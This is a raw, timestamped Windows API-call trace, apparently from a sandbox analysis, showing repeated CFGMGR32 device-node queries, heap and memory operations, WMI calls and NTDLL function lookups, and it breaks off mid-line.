GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.893] malloc (_Size=0x18) returned 0x20abc281b40 [0248.893] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0248.897] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x501e3d31, dwHighDateTime=0x1d9eb0c)) [0248.898] SetEvent (hEvent=0x248) returned 1 [0249.018] malloc (_Size=0xd8) returned 0x20abc284e70 [0249.018] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0249.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0249.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0249.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0249.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0249.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0249.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0249.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0249.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0249.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0249.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0249.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0249.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0249.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0249.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0249.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0249.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0249.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0249.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0249.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0249.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0249.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0249.023] malloc (_Size=0x18) returned 0x20abc281ec0 [0249.024] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3e, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0249.024] malloc (_Size=0x48) returned 0x20abc27cf80 [0249.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x50314d1a, dwHighDateTime=0x1d9eb0c)) [0249.025] SetEvent (hEvent=0x248) returned 1 [0249.032] malloc (_Size=0xd8) returned 0x20abc284e70 [0249.032] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0249.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0249.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0249.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0249.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0249.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0249.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0249.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0249.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0249.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0249.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0249.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0249.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0249.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0249.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0249.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0249.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0249.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0249.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0249.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0249.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0249.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0249.037] malloc (_Size=0x18) returned 0x20abc281a40 [0249.037] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3e, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0249.038] malloc (_Size=0x48) returned 0x20abc27cb20 [0249.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x5033d50f, dwHighDateTime=0x1d9eb0c)) [0249.038] SetEvent (hEvent=0x248) returned 1 [0249.043] malloc (_Size=0xd8) returned 0x20abc284e70 [0249.043] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0249.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0249.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0249.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0249.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0249.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0249.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0249.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0249.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0249.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0249.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0249.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0249.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0249.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0249.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0249.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0249.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0249.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0249.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0249.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0249.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0249.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0249.048] malloc (_Size=0x18) returned 0x20abc282060 [0249.049] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0249.049] malloc (_Size=0x48) returned 0x20abc27cb20 [0249.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x5036169a, dwHighDateTime=0x1d9eb0c)) [0249.050] SetEvent (hEvent=0x248) returned 1 [0249.057] free (_Block=0x20abc2a75a0) [0249.057] free (_Block=0x20abc2a7a80) [0249.058] free (_Block=0x20abc2a78a0) [0249.058] free (_Block=0x20abc2a7ae0) [0249.059] free (_Block=0x20abc2a7540) [0249.059] free (_Block=0x20abc2a79c0) [0249.061] free (_Block=0x20abc2a7c00) [0249.061] free (_Block=0x20abc2a7b40) [0249.062] free (_Block=0x20abc2a73c0) [0249.062] free (_Block=0x20abc2a77e0) [0249.063] free (_Block=0x20abc2a7a20) [0249.063] free (_Block=0x20abc2a7960) [0249.064] free (_Block=0x20abc2a7840) [0249.064] free (_Block=0x20abc2a71e0) [0249.065] free (_Block=0x20abc2a7c60) [0249.065] free (_Block=0x20abc2a7420) [0249.066] free (_Block=0x20abc2a7ba0) [0249.067] free (_Block=0x20abc2a7900) [0249.067] free (_Block=0x20abc2a7cc0) [0249.068] free (_Block=0x20abc2a6dc0) [0249.068] free (_Block=0x20abc2a6ee0) [0249.069] free (_Block=0x20abc2a76c0) [0249.069] free (_Block=0x20abc2a6e20) [0249.070] free (_Block=0x20abc2a6e80) [0249.070] free (_Block=0x20abc2a6f40) [0249.071] free (_Block=0x20abc2a6fa0) [0249.071] free (_Block=0x20abc2a7000) [0249.072] free (_Block=0x20abc2a7060) [0249.073] free (_Block=0x20abc2a70c0) [0249.073] free (_Block=0x20abc2a7600) [0249.074] free (_Block=0x20abc2a7120) [0249.075] free (_Block=0x20abc2a7180) [0249.075] free (_Block=0x20abc2a7240) [0249.213] free (_Block=0x20abc2a7360) [0249.214] free (_Block=0x20abc2a72a0) [0249.215] free (_Block=0x20abc2a7300) [0249.215] free (_Block=0x20abc2a7480) [0249.216] free (_Block=0x20abc2a7660) [0249.216] free (_Block=0x20abc2a74e0) [0249.217] free (_Block=0x20abc2a7720) [0249.217] free (_Block=0x20abc2a7780) [0249.218] free (_Block=0x20abc2aa810) [0249.218] free (_Block=0x20abc2aa630) [0249.219] free (_Block=0x20abc2aa510) [0249.219] free (_Block=0x20abc2aacf0) [0249.220] free (_Block=0x20abc2aa870) [0249.220] free (_Block=0x20abc2aa450) [0249.221] free (_Block=0x20abc2aa270) [0249.221] free (_Block=0x20abc2aab70) [0249.222] free (_Block=0x20abc2aad50) [0249.222] free (_Block=0x20abc2aa5d0) [0249.223] free (_Block=0x20abc2aa2d0) [0249.223] free (_Block=0x20abc2aa750) [0249.224] free (_Block=0x20abc2aa690) [0249.224] free (_Block=0x20abc2aa570) [0249.225] free (_Block=0x20abc2aa3f0) [0249.225] free (_Block=0x20abc2aac30) [0249.225] free (_Block=0x20abc2aab10) [0249.226] free (_Block=0x20abc2aadb0) [0249.226] free (_Block=0x20abc2aabd0) [0249.227] free (_Block=0x20abc2aa4b0) [0249.228] free (_Block=0x20abc2aae10) [0249.372] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc402070 [0249.373] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc402070, pulNumLanguages=0x2dc22fdde0 | out: pulNumLanguages=0x2dc22fdde0) returned 1 [0249.373] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402070) returned 1 [0249.373] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4022b0) returned 1 [0256.861] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () [0256.862] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () [0256.868] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0256.873] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x2e) returned 0x20abbaf2410 [0256.873] memcpy (in: _Dst=0x20abbaf2410, _Src=0x7ffb11abfc30, _Size=0x2e | out: _Dst=0x20abbaf2410) returned 0x20abbaf2410 [0256.873] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3c) returned 0x20abba634a0 [0256.873] memcpy (in: _Dst=0x20abba634a0, _Src=0x20abbaf2410, _Size=0x2c | out: _Dst=0x20abba634a0) returned 0x20abba634a0 [0256.873] memcpy (in: _Dst=0x20abba634cc, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba634cc) returned 0x20abba634cc [0256.874] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbaf2410) returned 1 [0256.874] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3e) returned 0x20abba63130 [0256.874] memcpy (in: _Dst=0x20abba63130, _Src=0x20abba634a0, _Size=0x3a | out: _Dst=0x20abba63130) returned 0x20abba63130 [0256.874] memcpy (in: _Dst=0x20abba6316a, _Src=0x7ffb11abfc60, _Size=0x4 | out: _Dst=0x20abba6316a) returned 0x20abba6316a [0256.875] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba634a0) returned 1 [0256.881] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x10) returned 0x20abba93590 [0256.881] memcpy (in: _Dst=0x20abba93590, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba93590) returned 0x20abba93590 [0256.882] memcpy (in: _Dst=0x20abbaf6b20, _Src=0x20abbaf6b28, _Size=0x0 | out: _Dst=0x20abbaf6b20) returned 0x20abbaf6b20 [0256.937] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0256.941] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x2e) returned 0x20abbaf2010 [0256.941] memcpy (in: _Dst=0x20abbaf2010, _Src=0x7ffb11abfc30, _Size=0x2e | out: _Dst=0x20abbaf2010) returned 0x20abbaf2010 [0256.942] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3c) returned 0x20abba63a90 [0256.942] memcpy (in: _Dst=0x20abba63a90, _Src=0x20abbaf2010, _Size=0x2c | out: _Dst=0x20abba63a90) returned 0x20abba63a90 [0256.942] memcpy (in: _Dst=0x20abba63abc, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba63abc) returned 0x20abba63abc [0256.942] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbaf2010) returned 1 [0256.942] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3e) returned 0x20abba634a0 [0256.942] memcpy (in: _Dst=0x20abba634a0, _Src=0x20abba63a90, _Size=0x3a | out: _Dst=0x20abba634a0) returned 0x20abba634a0 [0256.942] memcpy (in: _Dst=0x20abba634da, _Src=0x7ffb11abfc60, _Size=0x4 | out: _Dst=0x20abba634da) returned 0x20abba634da [0256.943] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba63a90) returned 1 [0256.948] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x10) returned 0x20abba937b0 [0256.948] memcpy (in: _Dst=0x20abba937b0, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba937b0) returned 0x20abba937b0 [0256.949] memcpy (in: _Dst=0x20abbaf6b20, _Src=0x20abbaf6b28, _Size=0x0 | out: _Dst=0x20abbaf6b20) returned 0x20abbaf6b20 [0256.967] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0256.973] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x2e) returned 0x20abbaf2110 [0256.973] memcpy (in: _Dst=0x20abbaf2110, _Src=0x7ffb11abfc30, _Size=0x2e | out: _Dst=0x20abbaf2110) returned 0x20abbaf2110 [0256.973] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3c) returned 0x20abba634f0 [0256.974] memcpy (in: _Dst=0x20abba634f0, _Src=0x20abbaf2110, _Size=0x2c | out: _Dst=0x20abba634f0) returned 0x20abba634f0 [0256.974] memcpy (in: _Dst=0x20abba6351c, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba6351c) returned 0x20abba6351c [0256.974] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbaf2110) returned 1 [0256.974] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3e) returned 0x20abba63db0 [0256.975] memcpy (in: _Dst=0x20abba63db0, _Src=0x20abba634f0, _Size=0x3a | out: _Dst=0x20abba63db0) returned 0x20abba63db0 [0256.975] memcpy (in: _Dst=0x20abba63dea, _Src=0x7ffb11abfc60, _Size=0x4 | out: _Dst=0x20abba63dea) returned 0x20abba63dea [0256.975] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba634f0) returned 1 [0256.981] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x10) returned 0x20abba93a50 [0256.981] memcpy (in: _Dst=0x20abba93a50, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba93a50) returned 0x20abba93a50 [0256.982] memcpy (in: _Dst=0x20abbaf6b20, _Src=0x20abbaf6b28, _Size=0x0 | out: _Dst=0x20abbaf6b20) returned 0x20abbaf6b20 [0257.105] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0257.109] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x2e) returned 0x20abbaf2210 [0257.109] memcpy (in: _Dst=0x20abbaf2210, _Src=0x7ffb11abfc30, _Size=0x2e | out: _Dst=0x20abbaf2210) returned 0x20abbaf2210 [0257.109] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3c) returned 0x20abba63d10 [0257.109] memcpy (in: _Dst=0x20abba63d10, _Src=0x20abbaf2210, _Size=0x2c | out: _Dst=0x20abba63d10) returned 0x20abba63d10 [0257.109] memcpy (in: _Dst=0x20abba63d3c, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba63d3c) returned 0x20abba63d3c [0257.110] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbaf2210) returned 1 [0257.110] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3e) returned 0x20abba63db0 [0257.110] memcpy (in: _Dst=0x20abba63db0, _Src=0x20abba63d10, _Size=0x3a | out: _Dst=0x20abba63db0) returned 0x20abba63db0 [0257.110] memcpy (in: _Dst=0x20abba63dea, _Src=0x7ffb11abfc60, _Size=0x4 | out: _Dst=0x20abba63dea) returned 0x20abba63dea [0257.110] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba63d10) returned 1 [0257.116] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x10) returned 0x20abba93610 [0257.116] memcpy (in: _Dst=0x20abba93610, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba93610) returned 0x20abba93610 [0257.116] memcpy (in: _Dst=0x20abbaf6b20, _Src=0x20abbaf6b28, _Size=0x0 | out: _Dst=0x20abbaf6b20) returned 0x20abbaf6b20 [0257.134] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0257.139] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x2e) returned 0x20abbaf25d0 [0257.139] memcpy (in: _Dst=0x20abbaf25d0, _Src=0x7ffb11abfc30, _Size=0x2e | out: _Dst=0x20abbaf25d0) returned 0x20abbaf25d0 [0257.139] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3c) returned 0x20abba63ea0 [0257.139] memcpy (in: _Dst=0x20abba63ea0, _Src=0x20abbaf25d0, _Size=0x2c | out: _Dst=0x20abba63ea0) returned 0x20abba63ea0 [0257.139] memcpy (in: _Dst=0x20abba63ecc, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba63ecc) returned 0x20abba63ecc [0257.139] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbaf25d0) returned 1 [0257.139] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3e) returned 0x20abba634a0 [0257.139] memcpy (in: _Dst=0x20abba634a0, _Src=0x20abba63ea0, _Size=0x3a | out: _Dst=0x20abba634a0) returned 0x20abba634a0 [0257.139] memcpy (in: _Dst=0x20abba634da, _Src=0x7ffb11abfc60, _Size=0x4 | out: _Dst=0x20abba634da) returned 0x20abba634da [0257.140] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba63ea0) returned 1 [0257.146] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x10) returned 0x20abba93910 [0257.146] memcpy (in: _Dst=0x20abba93910, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba93910) returned 0x20abba93910 [0257.147] memcpy (in: _Dst=0x20abbaf6b20, _Src=0x20abbaf6b28, _Size=0x0 | out: _Dst=0x20abbaf6b20) returned 0x20abbaf6b20 [0257.176] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0257.182] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x2e) returned 0x20abbaf1b90 [0257.182] memcpy (in: _Dst=0x20abbaf1b90, _Src=0x7ffb11abfc30, _Size=0x2e | out: _Dst=0x20abbaf1b90) returned 0x20abbaf1b90 [0257.183] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3c) returned 0x20abba63a90 [0257.183] memcpy (in: _Dst=0x20abba63a90, _Src=0x20abbaf1b90, _Size=0x2c | out: _Dst=0x20abba63a90) returned 0x20abba63a90 [0257.183] memcpy (in: _Dst=0x20abba63abc, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba63abc) returned 0x20abba63abc [0257.183] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbaf1b90) returned 1 [0257.183] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x3e) returned 0x20abba634a0 [0257.183] memcpy (in: _Dst=0x20abba634a0, _Src=0x20abba63a90, _Size=0x3a | out: _Dst=0x20abba634a0) returned 0x20abba634a0 [0257.183] memcpy (in: _Dst=0x20abba634da, _Src=0x7ffb11abfc60, _Size=0x4 | out: _Dst=0x20abba634da) returned 0x20abba634da [0257.184] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba63a90) returned 1 [0257.194] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x10) returned 0x20abba938b0 [0257.194] memcpy (in: _Dst=0x20abba938b0, _Src=0x20abba79b58, _Size=0x10 | out: _Dst=0x20abba938b0) returned 0x20abba938b0 [0257.194] memcpy (in: _Dst=0x20abbaf6b20, _Src=0x20abbaf6b28, _Size=0x0 | out: _Dst=0x20abbaf6b20) returned 0x20abbaf6b20 [0258.988] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0260.898] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0260.926] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0260.926] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc22fdc30 | out: pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc22fdc30) returned 1 [0260.927] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402230 [0260.927] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0260.927] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x20abc402230, pcchLanguagesBuffer=0x2dc22fdc30 | out: pulNumLanguages=0x2dc22fdd38, pwszLanguagesBuffer=0x20abc402230, pcchLanguagesBuffer=0x2dc22fdc30) returned 1 [0260.927] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4020f0 [0260.927] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402230) returned 1 [0260.927] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba93af0 [0260.927] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba93af0, pulNumLanguages=0x2dc22fdd38 | out: pulNumLanguages=0x2dc22fdd38) returned 1 [0260.927] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba93af0) returned 1 [0260.932] malloc (_Size=0xb0) returned 0x20abc2867b0 [0260.932] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb201b0000 [0260.933] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlInitUnicodeString") returned 0x7ffb201cced0 [0260.933] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlFreeUnicodeString") returned 0x7ffb201cc680 [0260.933] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffb20257f10 [0260.933] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffb20257630 [0260.933] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtCreateFile") returned 